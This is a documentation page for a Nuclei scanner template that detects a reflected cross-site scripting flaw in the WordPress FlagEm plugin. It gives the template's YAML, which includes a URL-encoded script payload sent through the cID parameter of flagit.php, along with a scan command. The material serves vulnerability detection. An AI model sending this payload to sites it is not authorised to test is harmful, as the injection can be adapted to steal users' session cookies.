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WordPress FlagEm - Cross-Site Scripting

ID: wp-flagem-xss

Severity: high

Author: daffainfo

Tags: wordpress,xss,wp-plugin,edb

Description

Section titled “Description”

WordPress FlagEm plugin contains a cross-site scripting vulnerability. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

YAML Source

Section titled “YAML Source”
id: wp-flagem-xss


info:
  name: WordPress FlagEm - Cross-Site Scripting
  author: daffainfo
  severity: high
  description: WordPress FlagEm plugin contains a cross-site scripting vulnerability. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  reference:
    - https://www.exploit-db.com/exploits/38674
    - https://vulners.com/packetstorm/PACKETSTORM:122505
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-79
  metadata:
    max-request: 2
  tags: wordpress,xss,wp-plugin,edb


flow: http(1) && http(2)


http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}


    matchers:
      - type: word
        internal: true
        words:
          - '/wp-content/plugins/FlagEm/'


  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/FlagEm/flagit.php?cID=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'


    matchers-condition: and
    matchers:
      - type: word
        words:
          - "</script><script>alert(document.domain)</script>"
        part: body


      - type: word
        part: header
        words:
          - text/html


      - type: status
        status:
          - 200
# digest: 490a0046304402200b8399c40d50351e9b2c9a18f32f594e4901520c857f17fe5de2d9db5fff8553022001e515c4a2a68e043896c1119942db38b7fdd7daa5558c8c291fc192de8d80bd:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/wordpress/wp-flagem-xss.yaml"

View on Github